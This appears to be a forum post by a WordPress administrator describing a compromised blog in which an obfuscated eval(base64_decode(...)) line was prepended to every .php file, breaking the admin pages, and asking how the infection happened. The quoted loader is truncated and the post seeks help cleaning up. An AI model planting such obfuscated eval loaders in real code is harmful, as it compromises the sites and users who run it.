I recently witnessed a “white screen of death” scenario that I have not seen documented anywhere among the various threads and posts on the subject.
On a blog that had not been touched in many months, the admin tried to login and found wp-login was a white screen. The blog itself was fine, but the admin pages were all inaccessible.
Looking into the matter I found every .php file in the site’s “blog” directory tree had a strange call to eval prepended to the top of the file. It looks like this:
<?php /**/eval base64_decode(‘aWYoZnVu…’)
The base 64 string continues at great length.
A string like this appeared at the top of every .php file in the distribution! After removing them all, the site worked fine again.
There are 2 things I really want to know about this episode:
1) How did this problem occur out of nowhere during months when the admin did not touch the site?
2) What could write such a string? I have heard of theme developers putting some base 64 code in their themes, but this line was at the top of *every* php file, including things deep inside the includes, etc.